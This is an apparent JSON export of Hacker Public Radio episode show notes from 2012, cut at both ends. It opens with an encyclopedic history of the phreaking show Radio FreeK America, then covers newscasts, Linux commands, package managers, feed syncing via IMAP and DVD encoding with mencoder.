      \nRadio FreeK America's website, [Old Skool Phreak], features a \"Phreak Photo Gallery\", \"Hacker Art Gallery\", text files, video files, and the download section for Radio FreeK America.\n

      \n

      \nThe radio show, through its success, inspired many other Internet Radio shows, such as Binary Revolution and Default Radio. Dual attributes the inspiration of the show to other hacker-oriented Internet Radio programs like In the Now, Hacker Mind, Off the Hook, and Rant Radio.\n

      \n

      \nRadio FreeK America had been the home to Project Walmart Freedom, a community effort to explore (in great detail) the inner phone system of Walmart stores, as well as codes, signals, procedures, and terminology usually only known to Walmart employees exclusively. Some information was known only to upper management as well.\n

      \n

      \nSoon after the last episode aired, the website went offline for a brief period of time. Oldskoolphreak.com had been replaced by a website featuring information on phreaking with PDA's. That site had been moved to PDAphreak.biz. (As of September 7 2005 PDAphreak.biz was no longer online.) Oldskoolphreak.com is still maintained by Natas, despite the lack of dual and lack of continuation of RFA.\n

      \n

      \nOn the last episode, dual gave his reasons for ending the radio show to start a new one called Hacker Public Radio. This never came to be though, and dual has made very few appearances since.\n

      \n\n

      Content

      \n

      \nThe theme of Radio FreeK America kept true to the hacking spirit: to learn and explore, as well as keeping knowledge free. The name Radio FreeK America was coined by Rax and has several layers of meaning. The term \"FreeK\" is spelled with a capital \"K\" to stand for knowledge, and the term was to be understood as \"keep knowledge free\", hence \"FreeK\" or \"Free Knowledge\". It was a common saying of Rax at the end of the show to say \"keep knowledge free.\" Radio FreeK America is also a play on Radio Free Europe, a broadcasting organization funded by the United States to promote democratic values in other nations. Radio FreeK America sought to inspire and present the values, concepts, and idea of the hacking/phreaking community.\n

      \n

      \nAlong with \"keep knowledge free\" was the tagline \"be the media,\" which was coined by Jello Biafra. Here, dual stresses the necessity of alternative media, and that having only a few sources of media is biased and not effective on covering information from all perspectives. Also, alternative media can be more tailored to suit its audience. With this, dual encouraged more people to start internet radio shows.\n

      \n

      \nThe show revolved around the hacking and phreaking scence extensively. Covering issues from wardriving and its off shoots, urban exploration, Linux, computer security, phreaking, freedom of speech, legal issues, some political issues, amateur radio, and anything that could be deemed relevant to the hacking culture abroad.
      \nDual, from the start, intended to make it a show about the listeners and about the community. The show carried a variety of topics that the hacker community would be interested in. The first episode started with dual playing a recording of a trashing session at a local telco Switch. The show also had a segment at irregular intervals called \"Phreak News\" where dual would play a 25¢ tone from a red box and speak about issues relevant to the phreaking community. \"Dual's Adventures\" was a segment just as irregular as Phreak News where dual would talk about opportunities dealing with technology that arose while he was in an urban setting, usually a store.\n

      \n

      \nUrban exploration was also a common part of Radio FreeK America, which often had dual playing his audio-recording adventures into various tunnels and basements. It was also common for dual to make several phone calls per episode to \"interesting\" numbers to see what could be learned. Calling card information was occasionally given out and posted on the site for the purpose of listeners to use for whatever they felt like. Listeners' email were read at the beginning of nearly episode as well, often with a thanks from dual, and a brief talk about the importance of community action, another driving force behind Radio FreeK America.\n

      \n

      \nRadio FreeK America initiated a fundraiser to send money to the Electronic Frontier Foundation, stressing the need to keep knowledge free and keep your right to freedom of speech.\n

      \n

      External links

      \n\n
      \n

      From Wikipedia, the Free Encyclopedia. Original article here. Support Wikipedia by contributing or donating.
      All text is available under the terms of the GNU Free Documentation License See Wikipedia Copyrights for details.

      \n","hostid":158,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"Radio FreeK America,RFA,hacker,hacking,phreaking,internet radio,urban exploration,wardriving","version":0,"downloads":2157,"valid":1}, {"id":1015,"date":"2012-06-21","title":"TGTM Newscast for 2012/6/18 DeepGeek","duration":1217,"summary":"A newscast from Talk Geek to Me","notes":"

      TGTM Newscast for 2012/6/18 DeepGeek

      \n

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      News from \"techdirt.com,\" \"inthesetimes.com,\" and \"allgov.com\" used under arranged permission.

      \n

      News from \"torrentfreak.com,\" \"sacis.org.za,\" and \"eff.org\" used under permission of the Creative Commons by-attribution license.

      \nNews from \"democracynow.org\"  used under permission of the Creative Commons by-attribution non-commercial no-derivatives license.\n

      News from \"gpnys.com\" is a press release.

      \n

      News Sources retain their respective copyrights.

      \n

      Links

      \n
        \n
      1. https://www.web.gpnys.com/?p=11845
      2. \n
      3. https://sacsis.org.za/site/article/1316
      4. \n
      5. https://inthesetimes.com/article/13341/the_war_on_whistleblowers/
      6. \n
      7. https://www.democracynow.org/2012/6/15/headlines#6150
      8. \n
      9. https://www.allgov.com//ViewNews/House_Republicans_Reject_FCC_Rule_to_Force_TV_Stations_to_Publish_Who_Paid_for_Political_Ads_120609
      10. \n
      11. https://www.techdirt.com/articles/20120601/04275319163/nytimes-reveals-details-how-us-created-stuxnet-how-programming-error-led-to-its-escape.shtml
      12. \n
      13. https://torrentfreak.com/verizon-succesfully-defends-privacy-of-alleged-bittorrent-pirates-120531/
      14. \n
      15. https://torrentfreak.com/megaupload-asks-court-to-dismiss-the-criminal-case-120530/
      16. \n
      17. https://www.eff.org/press/releases/internet-archive-sues-stop-new-washington-state-law
      18. \n
      19. https://torrentfreak.com/how-scary-is-the-us-six-strikes-anti-piracy-scheme-120605/
      20. \n
      21. https://www.rawstory.com/rs/2012/06/11/french-socialists-poised-to-take-control-of-parliament/
      22. \n
      23. https://www.rawstory.com/rs/2012/06/11/vatileaks-scandal-could-weaken-chances-of-italian-pope/
      24. \n
      25. https://www.thenewamerican.com/usnews/constitution/item/11671-federal-judge-reaffirms-her-order-blocking-indefinite-detention-by-obama-administration
      26. \n
      27. https://news.infoshop.org/article.php?story=20120610230624927
      28. \n
      29. https://phys.org/news/2012-05-chemical-circuit.html
      30. \n
      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2137,"valid":1}, {"id":1016,"date":"2012-06-22","title":"Nix: The Functional Package Manager","duration":1900,"summary":"The Nix package manager and related projects such as NixOS","notes":"

      \nAn introduction to the Nix package manager and related projects:\n

      \n

      \nNix is a purely functional package manager. This means that it can ensure that an upgrade to one package cannot break others, that you can always roll back to previous version, that multiple versions of a package can coexist on the same system, and much more.
      \nNixpkgs is a large collection of packages that can be installed with the Nix package manager.
      \nNixOS is a Nix-based Linux distribution. Thanks to Nix, it supports atomic upgrades, rollbacks and multi-user package management, and it has a declarative approach to system configuration management that makes it easy to reproduce a configuration on another machine.
      \nHydra is a Nix-based continuous build system.
      \nDisnix is a Nix-based distributed service deployment system.
      \n

      \n

      Links:

      \n

      \nNixOS: https://nixos.org, #nixos on freenode\nEben Moglen on platforms: https://en.wikisource.org/wiki/09NTC_plenary:_Eben_Moglen\nEelco Visser on Parsers: https://www.se-radio.net/2008/11/episode-118-eelco-visser-on-parsers/\n

      \n","hostid":216,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"NixOS,Nix,package manager,Nixpkgs,Hydra,Disnix","version":0,"downloads":2318,"valid":1}, {"id":1017,"date":"2012-06-25","title":"Phone hacking Samsung Admire","duration":430,"summary":"Attempting to restore a damaged smartphone","notes":"

      Sean acquired a Samsung Admire that had fallen in the snow. Not nice clean\nsnow but the side of the road mixed with salt type. His friend suggests\nwashing it in distilled water, drying it with a hair dryer and putting it in\na container of rice for a week.\n

      \n

      \nBut will it work ... Tune in to find out\n

      \n","hostid":171,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Samsung Admire,water damage","version":0,"downloads":2207,"valid":1}, {"id":1018,"date":"2012-06-26","title":"Interview with Christel Dahlskjaer of the FreeNode project.","duration":842,"summary":"Ken interviews Christel Dahlskjaer of the FreeNode project","notes":"

      \nTodays show is a much delayed recording from OggCamp11.
      \nIt's late and Ken is out having a pint when he hears a voice from the https://podcast.freenode.net/ podcast.\nHe looks up and who is it but Christel Dahlskjaer of the FreeNode project.\n

      \n\n

      Links

      \n\n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Interview,Oggcamp,Freenode","version":0,"downloads":2178,"valid":1}, {"id":1019,"date":"2012-06-28","title":"The 8 Billion Dollar iPod","duration":482,"summary":"Rob Reid, creator of \"Rhapsody\", gives a TED talk","notes":"

      Syndicated Thursdays is a chance to showcase other Creative Commons works. We try to expose podcasts, speeches, presentations, music, etc that you may not have heard. If you have suggestions for items then send your recommendation to admin at hpr and we'll add it to the queue.

      \n\n

      \nToday we're going to play the audio from a Ted presentation\n

      \n

      \nFrom Wikipedia, the free encyclopedia
      \nTED (Technology, Education and Design) is a global set of conferences owned by the private non-profit Sapling Foundation, formed to disseminate \"ideas worth spreading.\"\n

      \n

      \nThe title of the talk is \"The 8 Billion Dollar iPod\" and the speaker is Rob Reid who is a humor author and the founder of the company that created the music subscription service Rhapsody.
      \nhttps://www.ted.com/talks/rob_reid_the_8_billion_ipod.html\n

      \n

      \nTodays HPR presentation is an enhanced podcast, where we describe any slides that are not explained in the narrative.
      \n

      \n

      \nThis would be a good time to remind you that Jonathan Nadeau is looking for donations for The Accessible Computing Foundation.
      \nThe Accessible Computing Foundation exists to design Free software to help bridge the gap between accessibility and technology. As a nonprofit we will hire developers to create Free accessible software and bring awareness to people's accessible needs around the world.
      \nhttps://www.accessiblecomputingfoundation.org/\n

      \n

      \nCC-BY-SA-NC
      \n

      Links

      \n\n","hostid":158,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"TED,\"Technology, Education and Design\",Rhapsody","version":0,"downloads":2161,"valid":1}, {"id":1020,"date":"2012-06-29","title":"TGTM Newscast for 2012/6/27 DeepGeek","duration":1350,"summary":"A newscast from Talk Geek to Me","notes":"

      TGTM Newscast for 2012/6/27 DeepGeek

      \n

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      News from \"maggiemcneill.wordpress.com,\" and \"allgov.com\" used\nunder arranged permission.

      \n

      News from \"torrentfreak.com,\" and \"eff.org\" used under permission of the Creative Commons by-attribution license.

      \n

      News from \"democracynow.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license.

      \n

      News from \"pacificfreepress.com\" used under permission of the Creative Commons by-attribution non-commercial license.
      \n

      \n\n

      News Sources retain their respective copyrights.

      \n\n

      Links

      \n
        \n
      1. https://www.pacificfreepress.com/news/1/11906-assange-finds-allies-in-asylum-bid.html
      2. \n
      3. https://www.democracynow.org/2012/6/18/headlines#6181
      4. \n
      5. https://www.allgov.com//ViewNews/Catholic_Church_Fighting_Loosening_of_Sex_Abuse_Statute_of_Limitation_Laws_120618
      6. \n
      7. https://www.allgov.com//ViewNews/Secret_Obama_Trade_Agreement_Would_Allow_Foreign_Corporations_to_Avoid_US_Laws_120615
      8. \n
      9. https://maggiemcneill.wordpress.com/2012/06/22/coming-out/
      10. \n
      11. https://www.eff.org/deeplinks/2012/06/global-telecom-governance-debated-european-parliament-workshop
      12. \n
      13. https://www.eff.org/deeplinks/2012/06/can-apple-refuse-sell-laptop-iranian-citizen-maybe
      14. \n
      15. https://torrentfreak.com/u-s-govt-equates-megaupload-to-bank-robbers-120614/
      16. \n
      17. https://torrentfreak.com/comcast-protests-shake-down-of-alleged-bittorrent-pirates-120612/
      18. \n
      19. https://torrentfreak.com/kim-dotcom-theory-on-corporate-cyberlocker-use-supported-by-survey-120616/
      20. \n
      21. https://www.counterpunch.org/2012/06/19/christians-and-the-kill-list/
      22. \n
      23. https://wlcentral.org/node/2676
      24. \n
      25. https://peoplesworld.org/the-revolutionary-an-american-in-china-s-communist-party/
      26. \n
      27. https://www.irishtimes.com/newspaper/finance/2012/0621/1224318338747.html
      28. \n
      29. https://torrentfreak.com/how-long-before-vpns-become-illegal-120615/
      30. \n
      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2277,"valid":1}, {"id":1021,"date":"2012-07-02","title":"HPR Community News June 2012","duration":676,"summary":"HPR Community News June 2012","notes":"

      HPR Community News

      \n

      Klaatu reads the community news.

      \n

      New hosts

      \n

      Welcome to our new hosts: \nNido Media, \nWindigo, and\ngoibhniu.\n
      \nIf you would like to become a HPR host then please head over to https://hackerpublicradio.org/contribute.php\n\n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n
      id\ntitle\nhost\n
      1001HPR Community News May 2012HPR Admins
      1002Linux In The Shell 008 - free: Understanding Linux Memory UsageDann
      1003My audio gearNido Media
      1004Sunday Morning Linux Review Episode 34 - SUSE and VenusVarious Creative Commons Works
      1005TGTM Newscast for 2012/6/6deepgeek
      1006More Experiences Out of a Mental Hostpitalsigflup
      1007My Linux Adventure, Pt. 2Bob Wooden
      1008Fix the \"Sticky Keys\" Bug in MinecraftWindigo
      1009John Sullivan Why should I care about Free software?Various Creative Commons Works
      1010John Doe on copyright infringement lawsuitsVarious Creative Commons Works
      1011NELF interview with Robert_Schweikert of Open Susepokey
      1012LiTS 009 - w command and linux load averagesDann
      1013Saving Programs From TiVoAhuka
      1014Radio FreeK America 15 (2002/06/05) - Special Rax-only EpisodeVarious Creative Commons Works
      1015TGTM Newscast for 2012/6/18 DeepGeekdeepgeek
      1016Nix: The Functional Package Managergoibhniu
      1017Phone hacking Samsung AdmireBrotherred
      1018Interview with Christel Dahlskjaer of the FreeNode project.Ken Fallon
      1019The 8 Billion Dollar iPodVarious Creative Commons Works
      1020TGTM Newscast for 2012/6/27 DeepGeekdeepgeek
      \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":2181,"valid":1}, {"id":1022,"date":"2012-07-03","title":"LiTS 010: df - Exploring Disk Filesystem Usage","duration":1075,"summary":"Report file system disk space usage with the df command","notes":"The df command is used to report file system usage. The df command will show you the amount of storage available, used, and free per partition for each fileystem currently mounted on the system. Values are shown in blocks. \n\nhttps://www.linuxintheshell.com\n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"df","version":0,"downloads":2772,"valid":1}, {"id":1023,"date":"2012-07-04","title":"About Rivendell with Rivendell","duration":3064,"summary":"Rivendell Radio Automation software","notes":"

      AukonDK

      \n

      About Rivendell with Rivendell

      \n\n

      \nIn this episode I talk about the Rivendell Radio Automation software whilst using the same software to play music and sound.\nThis show was recorded \"as live\" and unscripted. I need a bit more practise as I'd like to use a similar setup to do my own podcast show. Did a bit of normalising and amplifing as the levels weren't that great (another thing to practise)\n

      \n

      \nLinks and CC attribution follow.\n

      \n

      \n[00:00]\nSFX\nCinematicBoomNorm.wav by Herbert Boland\nCC-BY\nhttps://www.freesound.org/people/HerbertBoland/sounds/33637/\n

      \n

      \n[00:36]\nPromo\nRivendell Audio Spot -- \"$15,000\"\nhttps://www.rivendellaudio.org/rivendell/download.shtml\n

      \n

      \n[00:47]\nBed Music\nEmptiness by Alexander Blu\nCC-BY-SA\nhttps://www.jamendo.com/en/track/946\n

      \n

      \n[01:00]\nLink\nRivendell Radio Automation\nhttps://www.rivendellaudio.org/\n

      \n

      \n[03:29]\nMusic\nThere's Something Wrong by Brad Sucks\nCC-BY-SA\nhttps://www.jamendo.com/en/track/210911\n

      \n

      \n[07:30]\nLink\nInstalling Rivendell - From the Rivendell Wiki, lists some live cds\nhttps://rivendell.tryphon.org/wiki/Installing_Rivendell\n

      \n

      \n[10:20]\nLink\nMy Blog post on installing Rivendell in Ubuntu 12.04\nhttps://www.bluedrava.com/rivendell-on-ubuntu-12.04\n

      \n

      \n[15:10]\nLink\nalsa_in and alsa_out - Very useful if you have a USB headset\nhttps://manpages.ubuntu.com/manpages/natty/man1/alsa_in.1.html\n

      \n

      \n[17:22]\nMusic\nDelirante planete by Löhstana David\nCC-BY\nhttps://www.jamendo.com/en/track/873822\n

      \n

      \n[22:06]\nPromo\nRivendell Audio Spot -- \"Rock Steady\"\nhttps://www.rivendellaudio.org/rivendell/download.shtml\n

      \n

      \n[21:14]\nBed Music\nMay by Alexander Blu\nCC-BY-SA\nhttps://www.jamendo.com/en/track/950\n

      \n

      \n[21:42]\nLink\nScreenshot of RDAirplay from Rivendell site\nhttps://www.rivendellaudio.org/images/rdairplay2.png\n

      \n

      \nGallery of screenshots here\nhttps://www.rivendellaudio.org/rivendell/gallery.shtml\n

      \n

      \n[25:23]\ngrenade.wav by ljudman\nCC-Sampling+\nhttps://www.freesound.org/people/ljudman/sounds/33245/\n

      \n

      \n[25:53]\nStorm by RHumphries\nCC-BY\nhttps://www.freesound.org/people/RHumphries/sounds/2523/\n

      \n

      \n[27:27]\nPromo\nRivendell Audio Spot -- \"Never Pay\"\nhttps://www.rivendellaudio.org/rivendell/download.shtml\n

      \n

      \n[34:28]\nFly Away by Tanya T6\nCC-BY-SA\nhttps://www.jamendo.com/en/track/894415\n

      \n

      \n[42:34]\nNote\nOdd thing happened, I thought the bed music had bypassed the recording when in fact it had just bypassed the mixer so it played full volume. Again, more practice needed.\n

      \n

      \nStuff I forgot to mention:\nTalking about multiple tracks in Carts, you can set each track to only play under certain conditions, such as time or day of the week.\nRDPanel is an appilcation which is a large version of the sound panel in RDAirplay, great to have on a second monitor.\nLogs are playlists which can be saved and loaded an can be generated just by playing music in Airplay or building them manually in RDLogedit or automatically with RDLogManager.\nRivendell can manage more than one radio station if needed and share the same DB.\n

      \n

      \nhttps://aukondk.com\nhttps://bluedrava.com\n

      \n","hostid":191,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Rivendell,radio,automation","version":0,"downloads":2240,"valid":1}, {"id":1024,"date":"2012-07-05","title":"Episode 1024","duration":4940,"summary":"Celebration of Hacker Public Radio's first 1K episodes","notes":"

      In the second and final installment of\nHacker Public Radio's first 1K episodes (yes Lord D, we know it's\nreally 1324 :) anniversary celebration, FiftyOneFifty hosts a panel\nconsisting of the following hosts from Today With a Techie and the\ninaugural year of Hacker Public Radio: jrullo, klaatu, willjasen,\nLord Drachenblut, and Xoke (with Mrs. Xoke). Special thanks to\naparanoidshell, who stepped in to keep the conversation rolling when\nFiftyOneFifty momentarily lost the connection.

      \n

      Destinations mentioned in this episode:

      \n

      https://audio.textfiles.com/shows/

      \n

      https://www.oldskoolphreak.com/

      \n

      https://nomicon.info/

      \n

      https://www.binrev.com/

      \n

      https://twatech.org

      \n

      https://hackermedia.org/

      \n

      https://www.HackerPublicRadio.org

      \n

      Accordion intro theme courtesy of Mr. X

      \n","hostid":109,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"HPR,community,anniversary","version":0,"downloads":2358,"valid":1}, {"id":1025,"date":"2012-07-05","title":"Infonomicon Episode #51","duration":1577,"summary":"Episode 51 of the Infonomicon podcast","notes":"

      \nSyndicated Thursdays is a chance to showcase other Creative Commons works. We try to expose podcasts, speeches, presentations, music, etc that you may not have heard. If you have suggestions for items then send your recommendation to admin at hpr and we'll add it to the queue.\n

      \n

      \nToday we are going to listen to episode 51 of the infonomicon (https://audio.textfiles.com/shows/infonomicon/ ) podcast. Droops had been a regular listener of RFA and emailed their show several times, started his own show Droops Radio which changed to infonomicon radio. \n

      \n

      \nInfonomicon Bumper Music plays until 1:35. Positive feedback about the Infonomicon TV. This is episode 51, which should be almost a year, except it's been more than a year. Podcast Incubator 2.0 is coming, and its code is going to be released under the GPL. Dosman and Droops have come up with the idea of doing a daily radio show: Talk with a Techie (TWAT). No fluff, no nothing, at least five minutes long. Infonomicon won't close because of this. Obfuscated is not a happy camper, but he is alive. 16 of 66 pages in a magazine Droops read was from one magazine. Bob Denver (Gilligan) passed away, and the boat from Gilligan's Island was named after a FCC chairman. AOL is about to be a sucker again, so screw them over. Cyber-looters are registering domains and taking money from hurricane donators: 2500 domains have been registered. Droops is not sure what the solution should be and asks for solutions. People trust Google, but Google can do evil: they're an advertising company. Google is buying dark fiber. Google has all sorts of broadband needs, so they'll likely go after all sorts of bandwidth to bring their services. Droops wishes that Google made blogs an option to not search. There's lots of companies searching nothing but blogs. This hasn't been the greatest show ever, but work is being done on the other shows. This is the shortest Infonomicon ever. Bumper Music plays from 15:42 onward.\n

      ","hostid":109,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"Infonomicon,RFA","version":0,"downloads":2254,"valid":1}, {"id":1026,"date":"2012-07-09","title":"Setting up a WordPress blog: part 4","duration":1385,"summary":"Episode 4 of the series Setting up a Wordpress blog","notes":"

      \nThis is the fourth and last of Frank's series on setting up a WordPress blog, now projected to be four episodes. \n

      \n

      \nThis episode discusses when and what to back up and maintaining a MySQL database using phpMyAdmin.\n

      \n

      \nLinks:\n

      \n

      \nWordpress article on backing up your database: https://codex.wordpress.org/Backing_Up_Your_Database\n

      \n

      \nWordPress article on database maintenance: https://codex.wordpress.org/WordPress_Site_Maintenance\n

      \n","hostid":195,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"WordPress,MySQL,phpMyAdmin,backup","version":0,"downloads":2213,"valid":1}, {"id":1027,"date":"2012-07-10","title":"Migrating away from Google Reader","duration":1455,"summary":"An alternative to Google Reader for managing feeds","notes":"

      \nOne of the major advantages of Google Reader over application based clients is that no matter where you access it from your views are synchronized. Everything you read is marked a read everywhere and you don't have to worry about whither you check your feeds on a desktop PC or on your phone. It truly is the best example of a cloud application out there.\n

      \n

      \nExcept for the fact that I'm not happy with the idea of a complete stranger watching and recording every article I read, how long I read it for, and share that information around to other trusted partners. Remember when your parents/guardians caught you reading over their shoulder ? It wasn't acceptable then and it sure isn't now. Epically when I noticed that my search results changed dramatically after I started following certain feeds. It's just not right and here's why https://www.ted.com/talks/eli_pariser_beware_online_filter_bubbles.html\n

      \n

      \n\n\n\n\n\n\n\n\n\n

      \n

      Getting a list of my feeds

      \n

      \nGoogle should be credited with the fact that they make exporting very easy to do. Thanks to the work of the https://www.dataliberation.org/ team. Who's stated goal is \"Users should be able to control the data they store in any of Google's products. Our team's goal is to make it easier to move data in and out.\"
      \nFor Google Reader this amounts to:\n

      \n
      \nSettings -> Reader Settings -> Import/Export -> OPML\n
      \n

      \nOPML (Outline Processor Markup Language) is an XML format for outlines (defined as \"a tree, where each node contains a set of named attributes with string values\"). Originally developed by Radio UserLand as a native file format for an outliner application, it has since been adopted for other uses, the most common being to exchange lists of web feeds between web feed aggregators.
      \nFrom Wikipedia, the free encyclopedia https://en.wikipedia.org/wiki/OPML\n

      \n\n

      \nThat's it. You now have a list of all your feeds we are still faced with the problem of reading/deleting items in one place and having them synchronized everywhere else ? The answer is actually quite obvious.\n

      \n

      imap - Internet Message Access Protocol

      \n

      \nFrom Wikipedia, the free encyclopedia
      \nhttps://en.wikipedia.org/wiki/Internet_Message_Access_Protocol
      \nInternet message access protocol (IMAP) is one of the two most prevalent Internet standard protocols for e-mail retrieval, the other being the Post Office Protocol (POP). Virtually all modern e-mail clients and mail servers support both protocols as a means of transferring e-mail messages from a server.
      \n

      \n

      \nThe great news is that there are imap clients everywhere. Microsoft Outlook supports it. Thunderbird, Evolution, Kmail, Claws-Mail all support it. It's supported on Android, the iPhone, and on Windows Mobile. There are a multitude of web clients. The only problem now was to find a way to get the RSS feeds over to a imap message format. A quick duckduckgo search later lead me to ....\n

      \n

      Feed2Imap

      \n

      https://home.gna.org/feed2imap/
      \nFeed2Imap is an RSS/Atom feed aggregator. After Downloading feeds (over HTTP or HTTPS), it uploads them to a specified folder of an IMAP mail server or copies them to a local maildir. The user can then access the feeds using Mutt, Evolution, Mozilla Thunderbird or even a webmail.\n

      \n

      \nIt's in all the major repositories and I had it up and running in under ten minutes. It keeps it's settings in a hidden file .feed2imaprc in your home directory. The configuration is simple, four lines per feed.\n

      \n
      \nfeeds:\n - name: kenfallon.com\n   url: https://kenfallon.com/?feed=rss2\n   target: imap://RSSNewsAccount%40example.com:PasswordForRSSNewsAccount@imap.example.com/INBOX.Feeds.Tech_Blogs\n   include-images: true\n...\n
      \n

      \nThe name filed is what will be the feed name and url is the link to the rss feed. The target is the path on the imap account you want to put it to. I used a throw away email account on my own domain with some restrictions on the size so that if I forget to check it won't affect the rest of my mailboxes.
      \nThe line it's broken into several parts, first is imap:// followed by the imap account user name and password. If your login contains an @ character, replace it with %40. Next is the @ sign followed by your server hostname and then the path. I chose INBOX.Feeds and then a subfolder for every group I had in Google Reader. The only other option I set was to include the images.\n

      \n

      opml2feed

      \n

      \nI have quite a few feeds now and I did not want to be typing them in by hand. So I wrote a small perl script to convert the opml file into a .feed2imaprc format and it will hopefully get you most of the way. The code is available on https://gitorious.org/opml2feed ( thanks to Klaatu over at https://www.gnuworldorder.info/ where he covered using Git in the March 31, 2012: Episode 7x13.)\n

      \n

      \nNow setup the imap account on your mail client(s) and once you are happy run feed2imap and you should see the items beginning to appear. I set it to run every two hours at 14 minutes past the hour by adding the following line to my cron tab.\n

      \n
      \n14 */2 * * * /usr/bin/feed2imap >/dev/null 2>&1\n
      \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Google,Google Reader,OPML,IMAP,Feed2Imap,opml2feed","version":0,"downloads":2517,"valid":1}, {"id":1028,"date":"2012-07-11","title":"Jonathan Kulp and NYbill: Goodwill Hunting ","duration":1962,"summary":"A discussion of what technology can be found at Goodwill","notes":"

      \nJonathan Kulp and NYbill talk about a little known resource for inexpensive tech finds. Thanks go to Windigo for the inspiration and episodes title from this dent:
      \n
      \nJon's export business
      \n
      \nThe guys talk about Jon's finds at the Goodwill and his uses of the rigs. As is becoming somewhat of a theme, there is a digression into computer nostalgia and Linux origins. But, the guys get the episode back on track.
      \n
      \nGrab ten bucks and get out there and shop!
      \n
      \nJon's web site
      \nGoodwill
      \nJon's Goodwill
      \nGoodwill Online
      \n
      \nHeathkit Nostalgia\n

      \n\n

      Links

      \n\n","hostid":109,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Goodwill,second-hand,IT","version":0,"downloads":2397,"valid":1}, {"id":1029,"date":"2012-07-12","title":"Karen Sandler on Medical Devices: OGG Camp Part Two","duration":1202,"summary":"Karen Sandler's OggCamp talk about closed source medical devices","notes":"

      Introducing Karen Sandler: legal eagle, formerly of the Software Freedom Law Center and newly appointed executive director at the Gnome Foundation.\n\n

      Presentation from Karen Sandler. Karen wasn’t due on the scheduled track, but stepped into an unexpected gap to talk about something, dare I say, very close to her heart? Opening up embedded software in medical devices.

      \n\n

      OGG Camp is a joint venture organised by those lovely podcasters the Linux Outlaws and the Ubuntu UK Podcast.

      \n\n

      We've more highlights of OGG Camp coming up on the Full Circle Podcast very soon, including Andy Piper on MQTT and the Ogg Camp Panel discussion.

      \n\n

      The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community. Find us at www.fullcirclemagazine.org/podcast.

      \n\n

      Feedback; you can post comments and feedback on the podcast page at www.fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org

      \n\n

      Your Hosts:

      \n\n\n\n

      Additional audio by Victoria Pritchard

      \n\n

      Runtime: 20mins 2seconds

      ","hostid":160,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"OggCamp,Full Circle Podcast","version":0,"downloads":2247,"valid":1}, {"id":1030,"date":"2012-07-13","title":"Ruben Rodriquez talks about Trisquel Linux","duration":2885,"summary":"A talk from NELF 2012 about Trisquel","notes":"

      \nAs DeepGeek is on sabbatical for this month, we're taking the time to use up some of the shows from the Syndicated Thursday queue.

      \n

      \n\nSyndicated Thursdays is a chance to showcase other Creative Commons works. We try to expose podcasts, speeches, presentations, music, etc that you may not have heard. If you have suggestions for items then send your recommendation to admin at hpr and we'll add it to the queue.\n\n

      \n

      \nToday it's a talk with Ruben Rodriquez Recorded at the Northeast GNU/Linux Fest 2012-03-17.\n

      \n

      \nFrom https://trisquel.info/en/faq
      \n\nWhat is Trisquel?
      \nTrisquel GNU/Linux is a 100% free operating system. It comes with a complete selection of programs that can be easily extended using a graphical installer. There are several editions available, including the \"mini\" edition for netbooks and old computers and the network based installer for custom and server installations.\n
      \n

      ","hostid":158,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"NELF 2012,Trisquel Linux","version":0,"downloads":2325,"valid":1}, {"id":1031,"date":"2012-07-16","title":"Backing up your dvd collection using mencoder","duration":424,"summary":"Using mencoder from the command line","notes":"

      \n Hello HPR BrocktonBob here with another short but sweet episode about backing up \n your dvd collection using mencoder a terminal command program.In this episode i tell\n you how to back up your dvd's using a small mencoder command.You will end up with a\n very nice .avi file about a third the size of your original dvd movie size.So just \n copy and paste the command below into the terminal after you have inserted the dvd\n into your drive.make sure to close movie player by hitting cancel.so copy the code below\n

      \n
      \nmencoder dvd://1 \\\n-alang en \\\n-vf crop=640:480:0:0,scale=640:405 \\\n-ovc xvid -xvidencopts \\\nbvhq=1:chroma_opt:quant_type=mpeg:bitrate=3000 \\\n-oac mp3lame \\\n-lameopts br=96:cbr:vol=6 \\\n-o HarryPotter.avi\n
      \n

      \nJust replace HarryPotter.avi with the name of the movie your backing up enjoy.\n

      ","hostid":202,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"mencoder,dvd","version":0,"downloads":2138,"valid":1}, {"id":1032,"date":"2012-07-17","title":"LiTS 011: du - disk usage","duration":1391,"summary":"Summarise file space usage with the du command","notes":"

      \nThe du command provides a summary of disk usage for files and directories. The default behavior is to show the number of blocks used by the contents of a directory or directories the command is run on. Usage is calculated recursively for directories. When du encounters a directory it will recurse into subdirectories and show the disk utilization of the files and directories under that directory and then present a total for the topmost directory. This cascades down through each subdirectory where the subdirectory becomes the parent and each child directory is summarized and the parent then totalled.\n

      \n\n

      For complete show notes see https://www.linuxintheshell.com/2012/07/17/episode-011-du-disk-usage/

